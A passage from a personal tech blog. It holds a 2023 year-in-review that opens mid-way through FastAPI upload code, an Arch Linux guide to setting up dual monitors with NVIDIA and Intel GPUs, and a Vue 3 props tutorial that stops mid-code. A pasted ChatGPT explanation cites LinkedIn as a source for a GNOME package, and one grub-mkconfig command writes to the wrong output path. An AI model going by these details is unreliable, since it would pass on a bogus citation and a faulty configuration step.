x.filename in uploaded_file: raise HTTPException( status_code=400, detail="File name not be same!") # Create the post direction witch named its uuid in IMAGE_DIR from config.py. current_post_path_obj = Path(config.POST_DIR).joinpath(post_uuid) # If the direction already existed then return error. if current_post_path_obj.is_dir(): raise HTTPException( status_code=500, detail="Cannot to create post.") current_post_path_obj.mkdir() current_post_path_obj.joinpath("cover").mkdir() # Check image files suffix. for x in uploaded_file: if x.filename.split(".")[-1] not in config.ALLOW_SUFFIX: raise HTTPException( status_code=400, detail="Not allowed file type.") if cover: if cover.filename.split(".")[-1] not in config.ALLOW_SUFFIX: raise HTTPException( status_code=500, detail="Not allowed file type.") save_post_status: bool = dir_tool.save_post_images( post_uuid=post_uuid, uploaded_file=uploaded_file, supplementary_mode=False ) if not save_post_status: raise HTTPException( status_code=400, detail="Cannot save the post on server!") save_cover_status: bool = dir_tool.save_post_cover( cover_name=uploaded_file[0].filename, post_uuid=post_uuid, cover=cover, cover_exist=cover_exist, update_mode=False ) if not save_cover_status: raise HTTPException( status_code=400, detail="Cannot save the cover of post on server!") compress_cover_status: bool = dir_tool.compress_cover( post_uuid=post_uuid, update_mode=False ) if not compress_cover_status: raise HTTPException( status_code=400, detail="Cannot compress the cover of post on server!") if is_nsfw == "true": nsfw_db: bool = True else: nsfw_db: bool = False crud.db_create_post( db=db, user_name=user_name, post_title=post_title, description=description, post_uuid=post_uuid, is_nsfw=nsfw_db ) return { "status": "success" } </code></pre></td></tr></table> </div> </div>These frameworks didn’t just expedite my development speed for simple web applications; they also broadened my programming experiences, empowering me with a newfound sense of confidence. <h3 id="pandas">pandas</h3> Learning <a href="https://pandas.pydata.org/" target="_blank" rel="noopener noreffer ">pandas</a> has been a game-changer for me. This versatile and lightning-fast open-source data analysis and manipulation tool, built on top of Python, has proven to be an indispensable asset for my data-related tasks. Whether it’s cleaning up datasets or delving into comprehensive data analysis, pandas has consistently come to my rescue. One interesting aspect is its ability to effortlessly handle data fetched through spider scripts, making it accessible and easily readable for further processing. Plus, the fact that I can swiftly generate new data into Excel or CSV files after the cleansing operation is nothing short of magical. However, I must admit, there’s always more to learn and practice when it comes to mastering this powerful tool. Experience is the true teacher, right? <h3 id="pyecharts">pyecharts</h3> Now, let’s talk about <a href="https://pyecharts.org/#/" target="_blank" rel="noopener noreffer ">pyecharts</a>. When I need to whip up a stunning picture or chart from my data and display it on a webpage, pyecharts has become my go-to solution. Sure, I’m aware of Apache ECharts, an open-source JavaScript visualization library, but setting up its properties and rendering a complex chart can be quite the heavy lift. This is where pyecharts swoops in to save the day, helping me sidestep the complexities and streamline the process. The official documentation, with its plethora of examples for creating simple data charts and graphs, has been an absolute lifesaver. When all I need is a quick, simple chart, relying on pyecharts feels like a breeze. <h3 id="database">Database</h3> After mastering SQL and familiarizing myself with MySQL, MariaDB, and SQLite, I found that each has its unique advantages for various development needs. <h4 id="sqlitehttpswwwsqliteorg"><a href="https://www.sqlite.org" target="_blank" rel="noopener noreffer ">SQLite</a></h4> When it comes to lightweight, file-based management and easy transferability of rich content, SQLite has been my go-to choice for simpler applications. The fact that SQLite database files are commonly employed for content transfer and long-term data archival points to its versatility and widespread use in diverse scenarios. In fact, did you know that there are over 1 trillion (1e12) active SQLite databases in use today? That’s mind-blowing! The flexibility and ease of use of SQLite make it an ideal solution for projects like <a href="https://github.com/WeepingDogel/tinygallery-backend" target="_blank" rel="noopener noreffer ">TinyGallery</a>, where it serves as the reliable database engine. <h4 id="mysqlhttpswwwmysqlcom--mariadbhttpsmariadborg"><a href="https://www.mysql.com" target="_blank" rel="noopener noreffer ">MySQL</a> & <a href="https://mariadb.org" target="_blank" rel="noopener noreffer ">MariaDB</a></h4> Of course, in scenarios where performance is a top priority, especially in larger-scale applications, the robustness of MySQL or its fork, MariaDB, often becomes essential. Their well-established presence in the industry and their ability to handle larger datasets and a higher load have made them popular choices in the development community. <h3 id="virtualization">Virtualization</h3> Venturing into the captivating realm of cloud computing has not only broadened my understanding of modern technology but also kindled a deep interest in virtualization—a cornerstone of cloud infrastructure. Within this domain, I’ve had the pleasure of acquainting myself with a diverse array of virtualization software that has elevated my comprehension of resource management and system orchestration. Let’s delve into the specifics of each prominent tool: <h4 id="vmware-workstation">VMware Workstation</h4> At the forefront of my virtualization exploration stands <a href="https://www.vmware.com/products/workstation-pro.html" target="_blank" rel="noopener noreffer ">VMware Workstation</a>. Its robust environment for running multiple virtual machines on a single physical device has been instrumental in refining my approach to system administration and resource allocation. The rich feature set and user-friendly interface of VMware Workstation have empowered me to create and manage virtual environments with unparalleled ease and efficiency, leaving an indelible mark on my journey through digital infrastructure management. <h4 id="virtualbox">VirtualBox</h4> As I delved deeper, <a href="https://www.virtualbox.org" target="_blank" rel="noopener noreffer ">VirtualBox</a>, with its open-source ethos, emerged as a compelling alternative, reshaping how I perceive accessibility and simplicity in virtualization. Its seamless capacity to create and manage virtual machines has not only broadened my technical adeptness but also democratized the virtualization experience, making it accessible to a diverse spectrum of enthusiasts and professionals. The inclusive and user-friendly nature of VirtualBox has underscored the significance of providing accessible virtualization tools in empowering a broader community of aspiring developers and cloud enthusiasts. <h4 id="qemukvm">Qemu/KVM</h4> The potent alliance of <a href="https://wiki.qemu.org/Features/KVM" target="_blank" rel="noopener noreffer ">QEMU/KVM</a> has stood as a formidable force in my virtualization odyssey, encapsulating the raw power of hypervisor functionality and hardware-assisted virtualization for Linux systems. The seamless compatibility and robust performance offered by this dynamic duo have unlocked new dimensions of agility and efficiency in managing virtualized environments, sparking a newfound appreciation for the intricacies of low-level virtualization technologies. Embracing QEMU/KVM has not only fortified my technical prowess but also enriched my understanding of system-level virtualization, transforming my approach to managing digital infrastructure. <h4 id="libvirt">Libvirt</h4> Last but not least, <a href="https://libvirt.org/manpages/libvirtd.html" target="_blank" rel="noopener noreffer ">libvirt</a>, the versatile open-source toolkit, has emerged as a stalwart companion in my exploration of virtualization technologies. Its broad support for a range of hypervisors, including QEMU/KVM, Xen, and LXC, has streamlined the orchestration and management of virtualized platforms, providing a holistic perspective on virtualization capabilities and infrastructure management. My journey with libvirt has underscored the crucial role of adaptive and versatile virtualization tools in the modern era, redefining the paradigm of infrastructure management and resource optimization. <hr> These virtualization technologies, with their diverse capabilities and applications, have not only deepened my expertise in cloud computing but also broadened my horizons, equipping me with a nuanced perspective on efficient resource utilization and infrastructure orchestration. The journey through virtualization has been nothing short of transformative, laying a resilient foundation for navigating the dynamic landscapes of cloud infrastructure and digital environments. <h3 id="docker">Docker</h3> Embracing the world of <a href="https://www.docker.com" target="_blank" rel="noopener noreffer ">Docker</a> has been a transformative journey, redefining how I approach software development and deployment. From diving into Docker’s innovative approach to containerization to unraveling its potential for creating lightweight, portable, and self-sufficient environments, my exploration has been nothing short of exhilarating. Last year, I penned an <a href="/zh-cn/posts/%e6%b5%85%e5%b0%9ddocker/" rel="">article</a> shedding light on this very journey with Docker, and now, armed with an even broader understanding, I’m geared up to delve deeper into its intricacies. <h3 id="openstack">OpenStack</h3> Venturing into the realm of <a href="https://www.openstack.org" target="_blank" rel="noopener noreffer ">OpenStack</a> has been a recent foray, opening the doors to a world of immense potential in cloud infrastructure management. While I’ve currently dipped my toes into the installation process on a Linux server, I’m poised to embark on an enriching learning journey that will unravel the depths of OpenStack’s capabilities. This journey has already highlighted the power of OpenStack in reshaping the dynamics of scalable and customizable cloud environments, and I’m looking forward to documenting my discoveries as I delve further into its functionalities and applications. <h2 id="new-devices">New Devices</h2> <h3 id="108-customized-keyboard">108 Customized Keyboard</h3> <ul> <li>Polar Fox Shaft for letter area, Midnight Jade Shaft for large keys, Box White Shaft for other keys.</li> <li>Support tri-mode and RGB</li> </ul> I bought this keyboard for better typing experience, better appearance and gaming. <h3 id="87-customized-keyboard">87 Customized Keyboard</h3> <ul> <li>Blueberry Ice Cream shaft for space bar, Graywood V4 shaft for other keys</li> <li>Single mode only, white backlight</li> </ul> I bought this keyboard for programming and trying different typing experience. Plus, its light weight always helps me replace the membrane keyboard in computer classroom of shcool. There’s no keyboards in good status… Most of them are broken in different levels because of the students who feels boring in class… There are even keycaps that have been gouged out… Then I need to take my own keyboard to take a laboratory course. <h3 id="viewsonic-displayer">ViewSonic Displayer</h3> <ul> <li>23.8", 1080P, 165Hz, Fast-IPS panel, HDR10 support</li> </ul> I bought it at the beginning of the school year, at first thinking that I could read more lines of code on the big screen… <h3 id="asus-router-ax-56u">Asus Router AX-56U</h3> I don’t know what madness to buy Asus router, support dual-band WiFi6, Gigabit wired, didn’t brush the system, still using the official firmware, currently using it as an AP at home. <h3 id="small-host-received-from-mukihttpstmemukixi">Small host received from <a href="https://t.me/Mukixi" target="_blank" rel="noopener noreffer ">muki</a></h3> It actually has a story of where it came from, but as I said bad memories don’t mean anything. R5-1400 + RX580, 8GB RAM, currently sitting at home as an internal server for the Me0w00f Technology team. <h3 id="pixel-3xl">Pixel 3XL</h3> Off-<a href="https://en.wikipedia.org/wiki/Great_Firewall" target="_blank" rel="noopener noreffer ">wall</a> machine donated by <a href="https://t.me/kawaii_fox" target="_blank" rel="noopener noreffer ">a certain fox</a>, used for off-wall socializing, sometimes watching YouTube, <a href="https://www.vrelnir.com/" target="_blank" rel="noopener noreffer ">DOL</a> installed. It’s also not bricked, and is still officially native to the Pixel. <h1 id="pity">Pity</h1> However, it’s impossible for a ship to always move mildly on the ocean. Something is a pity that couldn’t be realized and accomplished. <h2 id="competition">Competition</h2> The first and biggest pity is that I couldn’t get a chance to participate in large competition this year. Although I had trained and prepared, learning much… <h2 id="skills-works-and-gaming">Skills, works and gaming.</h2> In addition.. some details of skills and some basic knowledges hadn’t been acquired. Saddly, I also hadn’t enjoyed a good gaming time… <h2 id="depression">Depression</h2> Everything bad comes from the terrible reason, I might be ill in emotion, like depression. I know it is necessary to see a doctor, but chances are few. I wanna get rid of it, but it’s hard. It has been a stone which probably and definitely prevents my steps to go forward… <h1 id="new-accquaintance">New accquaintance</h1> Here are my new accquaintance or friends I met this year with something they say. <h2 id="grassblock">GrassBlock</h2> <blockquote> “In the new year I hope WeepingDogel can live happily and not stress himself out by thinking too lowly of himself!” </blockquote> <h2 id="riiina">Riiina</h2> <blockquote> “See a doctor” </blockquote> <h2 id="episode33">Episode33</h2> <blockquote> “You. Think about how to live, at least you seem promising to me.” </blockquote> <h1 id="plans-in-2024">Plans in 2024</h1> <ul> <li>Finish reading the book Computer Systems A Programmer’s Perspective.</li> <li>Learn to use Vuetify or PrimeVue.</li> <li>Learn more about virtualization, programming and networking.</li> <li>Prepare for bachelor’s degree.</li> <li>Join and win a competition.</li> <li><del>Find a lover</del>(Never mind)</li> </ul> <h1 id="conclusion">Conclusion</h1> Finally, I recorded this year. Even if there’s a pity for something failed, I still gain so much that never feel sad at the end of the year.

2023/12/31

Solve the problem of dual screen with NVIDIA and Intel GPUs

<div class="featured-image"> <img src="/img/2023-09-21-21-49-12%e5%b1%8f%e5%b9%95%e6%88%aa%e5%9b%be.png" referrerpolicy="no-referrer"> </div><h2 id="introduction">Introduction</h2> Recently I bought a new monitor made by ViewSonic, but I meet some problems of the dual GPUs. In the past years, I have used only one screen which is installed in my laptop without NVIDIA graphcial drivers. (Only use the Intel core GPU). However, because of the new monitor added, the ntegrated graphics is not powerful enough to output two screens. Therefore, I decide to install the NVIDIA grapcial driver of the RTX3050 on my Arch Linux in order to make use of the Discrete Graphics Card to output the new screen. But things are not running well… The reason why I crashed the wall is that I used to running Gnome on wayland mode before. But it is said that NVIDIA drivers are not performing well on wayland? So it truly means that I have to abandon the idea to output two screen on wayland. Oh it’s bad! I have to come back to the hugging of the X11! <h2 id="beginning">Beginning</h2> At the beginning of that, I plugged the miniDP into the laptop and the another port into the monitor. But disappointingly, it can’t be lighted up at all. QAQ. Maybe the miniDP port can not output anything because of missing the NVIDIA driver. So I have to install it. <h2 id="installation-of-the-nvidia-drivers">Installation of the NVIDIA drivers</h2> The first step is to install the drivers. Yeah notefuly, it’s the first step, not the last. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">$ sudo pacman -S nvidia nvidia-utils lib32-nvidia-utils nvidia-prime </code></pre></td></tr></table> </div> </div>However, the screen was still not displaying anything… Then I went to the Arch Linux CN group to ask the guys in community. After discussion, I finally got the solution. <h2 id="open-the-ibt">Open the <code>ibt</code></h2> About on the March, <a href="/en/posts/problem_of_virtualbox_appeding_starting_vm/" rel="">I faced a problem of VirutalBox and set the <code>ibt=off</code></a>. But now it is not required to be <code>off</code>, I need to remove the param of the kernel. Edit the file: <code>/etc/default/grub</code>, <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">$ sudo vim /etc/default/grub </code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 6 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">GRUB_DEFAULT="0" GRUB_TIMEOUT="100" GRUB_DISTRIBUTOR="Arch" GRUB_CMDLINE_LINUX_DEFAULT="quiet splash loglevel=3 rd.udev.log_priority=3 vt.global_cursor_default=0" GRUB_CMDLINE_LINUX="ibt=off" ......... </code></pre></td></tr></table> </div> </div>then remove the <code>ibt=off</code> in <code>GRUB_CMD_LINE_LINUX</code>: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 6 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">GRUB_DEFAULT="0" GRUB_TIMEOUT="100" GRUB_DISTRIBUTOR="Arch" GRUB_CMDLINE_LINUX_DEFAULT="quiet splash loglevel=3 rd.udev.log_priority=3 vt.global_cursor_default=0" GRUB_CMDLINE_LINUX="" ......... </code></pre></td></tr></table> </div> </div>Then regenerate the <code>grub.cfg</code>: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">$ sudo grub-mkconfig -o /etc/grub/grub.cfg </code></pre></td></tr></table> </div> </div><h2 id="set-nvidia-modeset">Set NVIDIA modeset</h2> Then I need to check the value of the <code>nvidia-drm.modeset</code>. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">$ cat /sys/module/nvidia_drm/parameters/modeset </code></pre></td></tr></table> </div> </div>It shows: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">N </code></pre></td></tr></table> </div> </div>Now I need to add <code>nvidia-drm.modeset=1</code> into Kernel Paramaters. <div class="details admonition tip open"> <div class="details-summary admonition-title"> Explanation from ChatGPT </div> <div class="details-content"> <div class="admonition-content">The <code>nvidia-drm.modeset=1</code> kernel parameter enables the NVIDIA Direct Rendering Manager KMS (Kernel Mode Setting). KMS is a method for setting display resolution and depth in the kernel space rather than user space.</div> </div> </div> Edit the file: <code>/etc/default/grub</code> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">$ sudo vim /etc/default/grub </code></pre></td></tr></table> </div> </div>Add the <code>nvidia-drm.modeset=1</code> into <code>GRUB_CMDLINE_LINUX_DEFAULT</code> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">........ GRUB_CMDLINE_LINUX_DEFAULT="quiet splash loglevel=3 rd.udev.log_priority=3 vt.global_cursor_default=0 nvidia-drm.modeset=1" ........ </code></pre></td></tr></table> </div> </div>Then regenerate the grub configuration file. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">$ sudo grub-mkconfig -o /boot/grub/grub.cfg </code></pre></td></tr></table> </div> </div>And reboot. <h2 id="use-mutter-performance">Use mutter-performance</h2> Still, it’s not performing well after restarting the system. For this reason, it should be a bit better to use the <code>mutter-performance</code>. <div class="details admonition tip open"> <div class="details-summary admonition-title"> Explanation from ChatGPT </div> <div class="details-content"> <div class="admonition-content"><code>mutter-performance</code> is an optimized version of the Mutter window manager, particularly tweaked for performance. Mutter is the default window manager for GNOME 3, which is responsible for arranging, interacting with, and animating windows <a href="https://www.linkedin.com/company/mutter-performance/" target="_blank" rel="noopener noreffer ">linkedin.com</a>.</div> </div> </div> This package should be installed from <a href="https://aur.archlinux.org" target="_blank" rel="noopener noreffer ">AUR</a> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">$ paru -S mutter-performance </code></pre></td></tr></table> </div> </div>After installation, the desktop truly ran a little faster, but it’s still not enough. And by the way, it’s time to remove the <code>xf86-video-intel</code>. It is not required in new devices. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">$ sudo pacman -Rs xf86-video-intel </code></pre></td></tr></table> </div> </div><div class="details admonition tip"> <div class="details-summary admonition-title"> Explanation from ChatGPT </div> <div class="details-content"> <div class="admonition-content">The xf86-video-intel package is a driver for Intel integrated graphics chips that is maintained by the X.Org project. However, for modern Intel graphics hardware (roughly 2007 and newer), it is often recommended to remove this package for several reasons: Better support with modesetting driver: The modesetting driver, which is part of the X server and does not need to be installed separately, has better support for modern graphics features and hardware. It is maintained by the X.Org project and tends to keep up with new developments in graphics technology github.com. Issues with xf86-video-intel driver: The xf86-video-intel driver has been known to cause issues on some systems, including graphical glitches and poorer performance compared to the modesetting driver. In some cases, it can even lead to system instability bbs.archlinux.org. Lack of active development: The xf86-video-intel driver has not seen active development for several years, which means it may lack support for features found in newer hardware and software. On the other hand, the modesetting driver is actively developed as part of the X server reddit.com. To remove the xf86-video-intel package, you can use the package manager of your specific Linux distribution. Here’s an example using pacman, the package manager for Arch Linux: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">sudo pacman -R xf86-video-intel </code></pre></td></tr></table> </div> </div>After removing the package, restart your system to ensure the changes take effect. Remember to check the documentation of your specific distribution for the correct way to remove packages and handle drivers. </div> </div> </div> <h2 id="set-x-11-configuration">Set X-11 Configuration</h2> According to the <a href="https://wiki.archlinux.org/title/NVIDIA_Optimus#Use_NVIDIA_graphics_only" target="_blank" rel="noopener noreffer ">Arch Wiki</a>, I need to set some X-11 Configuration, intending to use the NVIDIA graphics only. Write in the file <code>/etc/X11/xorg.conf.d/10-nvidia-drm-outputclass.conf/</code>: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">Section "OutputClass" Identifier "intel" MatchDriver "i915" Driver "modesetting" EndSection Section "OutputClass" Identifier "nvidia" MatchDriver "nvidia-drm" Driver "nvidia" Option "AllowEmptyInitialConfiguration" Option "PrimaryGPU" "yes" ModulePath "/usr/lib/nvidia/xorg" ModulePath "/usr/lib/xorg/modules" EndSection </code></pre></td></tr></table> </div> </div>Then I need to create two <code>*.desktop</code> files to configure the GDM. Write in <code>/usr/share/gdm/greeter/autostart/optimus.desktop</code> and <code>/etc/xdg/autostart/optimus.desktop</code> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 6 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">[Desktop Entry] Type=Application Name=Optimus Exec=sh -c "xrandr --setprovideroutputsource modesetting NVIDIA-0; xrandr --auto" NoDisplay=true X-GNOME-Autostart-Phase=DisplayServer </code></pre></td></tr></table> </div> </div>Finally, I rebooted and fixed the problem. Yay! <h2 id="references">References</h2> <ul> <li><a href="https://www.phind.com" target="_blank" rel="noopener noreffer ">Phind.com</a></li> <li><a href="https://wiki.archlinux.org/title/NVIDIA_Optimus#Use_NVIDIA_graphics_only" target="_blank" rel="noopener noreffer ">NVIDIA Optimus - ArchWiki #Use_NVIDIA_graphics_only</a></li> <li><a href="https://wiki.archlinux.org/title/NVIDIA_Optimus#GDM" target="_blank" rel="noopener noreffer ">NVIDIA Optimus - ArchWiki #GDM</a></li> </ul>

2023/9/21

How To Transfer A Value From The Parent Component To The Child Component in Vue 3.2

<div class="featured-image"> <img src="/img/background_preview_2023_07_22.png" referrerpolicy="no-referrer"> </div><h2 id="introduction">Introduction</h2> Vue is a popular JavaScript framework for building interactive web interfaces. It’s easy to learn, versatile, and has a supportive community. Developing single-page applications with Vue is incredibly convenient. However, there are instances where we encounter challenges when it comes to transferring values between parent and child components. Still unclear? Imagine this scenario: You’ve created a button and you want it to control the content of a <code></code> element, thereby fulfilling a specific development requirement. Then it’s time to transfer different values to <code>ChildComponet</code> to change the properties or trigger an event. <h2 id="ways-to-transfer-a-value-from-the-parent-to-the-child">Ways to transfer a value from the parent to the child</h2> <h3 id="step-1-create-the-parent-component">Step 1: Create the Parent Component</h3> <ol> <li>Create a new Vue component file for the parent component (e.g., <code>ParentComponent.vue</code>).</li> <li>In the component’s template, define the parent component’s content and include the child component.</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 6 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><template> <div class="FatherBox"> <ChildComponent /> <button></button> </div> </template> </code></pre></td></tr></table> </div> </div><ol start="3"> <li>Import the child component by adding the necessary import statement.</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><script lang="ts"> import ChildComponent from './ChildComponent.vue'; </script> </code></pre></td></tr></table> </div> </div><ol start="4"> <li>Register the child component in the parent component’s components property.</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 6 7 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><script lang="ts"> export default { components: { ChildComponent, }, } </script> </code></pre></td></tr></table> </div> </div><h3 id="step-2-define-the-data-in-the-parent-component">Step 2: Define the Data in the Parent Component</h3> <ol> <li>In the parent component’s script section, define a data property to store the value that will be passed to the child component.</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 6 7 8 9 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><script lang="ts"> export default { data() { return { }; }, } </script> </code></pre></td></tr></table> </div> </div><ol start="2"> <li>Assign the initial value to the data property. This will be the value passed initially to the child component.</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 6 7 8 9 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><script lang="ts"> export default { data() { return { message: 'Hello from the parent component!', // Value to pass to child component }; }, } </script> </code></pre></td></tr></table> </div> </div><h3 id="step-3-pass-the-data-as-a-prop-to-the-child-component">Step 3: Pass the Data as a Prop to the Child Component</h3> 1.In the parent component’s template, add the child component and use the colon (:) binding to pass the data property as a prop to the child component. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><template> <div class="FatherBox"> <ChildComponent :message="message" /> </div> </template> </code></pre></td></tr></table> </div> </div><ol start="2"> <li>The prop name in the child component should match the name you choose when passing the prop in the parent component.</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><script lang="ts"> import ChildComponent from './ChildComponent.vue'; export default { components: { ChildComponent, }, data() { return { message: 'Hello from the parent component!', // Value to pass to child component }; }, methods: { changeMessage() { this.message = 'New message from parent!'; }, } }; </script> </code></pre></td></tr></table> </div> </div><h3 id="step-4-create-the-child-component">Step 4: Create the Child Component</h3> <ol> <li> Create a new Vue component file for the child component (e.g., <code>ChildComponent.vue</code>). </li> <li> In the child component’s template, define the child component’s content. This will include rendering the prop value passed from the parent component. </li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><template> <div> <p>{{ message }}</p> </div> </template> </code></pre></td></tr></table> </div> </div><h3 id="step-5-define-the-prop-in-the-child-component">Step 5: Define the Prop in the Child Component</h3> <ol> <li>In the child component’s script section, define the prop for receiving the data sent by the parent component.</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 6 7 8 9 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><script lang="ts"> export default { props: { message: { }, }, }; </script> </code></pre></td></tr></table> </div> </div><ol start="2"> <li>Specify the type of the prop (e.g., <code>String</code>, <code>Number</code>, etc.) to ensure data integrity. You can also set <code>required: true</code> if the prop must be passed.</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue">message: { type: String, required: true, }, </code></pre></td></tr></table> </div> </div><h3 id="step-6-emit-an-event-from-the-child-component">Step 6: Emit an Event from the Child Component</h3> <ol> <li>In the child component’s script, define a method that will emit an event to communicate with the parent component.</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 6 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue">methods: { changeMessage() { const newMessage = 'New message from child!'; }, }, </code></pre></td></tr></table> </div> </div><ol start="2"> <li>Inside the method, use this.$emit(’event-name’, data) to emit the event. Choose a suitable event name and pass any relevant data to the parent component.</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 6 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue">methods: { changeMessage() { const newMessage = 'New message from child!'; this.$emit('update-message', newMessage); }, }, </code></pre></td></tr></table> </div> </div><h3 id="step-7-handle-the-event-in-the-parent-component">Step 7: Handle the Event in the Parent Component</h3> <ol> <li>In the parent component’s script, define a method that will handle the event emitted by the child component.</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue">updateMessage(newMessage: any) { }, </code></pre></td></tr></table> </div> </div><ol start="2"> <li>Add an event listener to the child component instance in the parent component’s template, using <code>@event-name="methodName"</code>.</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><template> <ChildComponent :message="message" @update-message="updateMessage" /> </template> </code></pre></td></tr></table> </div> </div><ol start="3"> <li>In the method, receive the emitted data as an argument and update the parent component’s data accordingly.</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue">updateMessage(newMessage: any) { this.message = newMessage; }, </code></pre></td></tr></table> </div> </div><hr> <h3 id="compeleted-code">Compeleted Code</h3> ParentComponent: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 